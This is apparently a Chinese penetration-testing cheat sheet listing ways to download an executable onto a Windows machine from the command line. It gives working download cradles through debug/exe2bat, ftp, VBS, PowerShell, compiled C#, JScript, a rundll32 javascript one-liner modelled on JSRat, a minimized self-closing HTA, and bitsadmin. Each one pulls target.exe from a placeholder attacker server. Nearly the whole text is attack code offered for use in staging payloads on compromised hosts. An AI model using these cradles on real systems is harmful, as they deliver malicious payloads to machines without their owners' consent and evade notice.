渗透技巧--通过cmd上传文件的N种方法
1.debug
debug是一个程序调试工具,功能包括:(win7以上版本好像没有)
- 直接输入,更改,跟踪,运行汇编语言源程序
- 观察操作系统的内容
- 查看ROM BIOS的内容
- 观察更改RAM内部的设置值
- 以扇区或文件的方式读写软盘数据
- 特别的是它还有一个功能可以将十六进制代码转换为可执行文件:hex
思路:
- 把需要上传的exe转换成十六进制hex的形式
- 通过echo命令将hex代码写入文件
- 使用debug功能将hex代码还原出exe文件
操作
[kali]
cd /usr/share/windows-binaries
wine exe2bat.exe input.exe output.txt
# 只适用于小于64kb的文件
[windows]
复制output.txt文件到cmd执行
2.ftp
搭建好ftp服务器
[windows cmd]
ftp
ftp>open ip:port
ftp>username
ftp>password
ftp>get target.exe
3.vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
对应到cmd下的命令为:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://server_ip/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\target .exe",2 >>download.vbs
按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载target.exe
4.powershell
powershell (new-object System.Net.WebClient).DownloadFile( 'http://server_ip/target.exe','C:\test\target.exe')
5. csharp
csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe使用echo将代码依次写入文件download.cs中,然后调用csc.exe编译cs文件
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\download.exe C:\download.cs
csc.exe的绝对路径要根据系统的.net版本来确定
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://server_ip/target.exe";
string receivePath = @"C:\file_directory\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
6.js
相比于JSRat中用的 Scripting.FileSystemObject换用 ADODB.Stream实现起来更加简单高效
以下代码依次保存为js文件,直接执行即可实现下载文件
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe", 2);
Stream.Close();
}
合并成rundll32的一句话(类似于JSRat的启动方式):
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
Object=new%20ActiveXObject("Microsoft.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);Object.send();
if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type=1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe",2);
Stream.Close();}
7、hta
添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序以下代码保存为.hta文件:
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
8、bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
使用方法:
bitsadmin /transfer n download_url save_path/filename.*
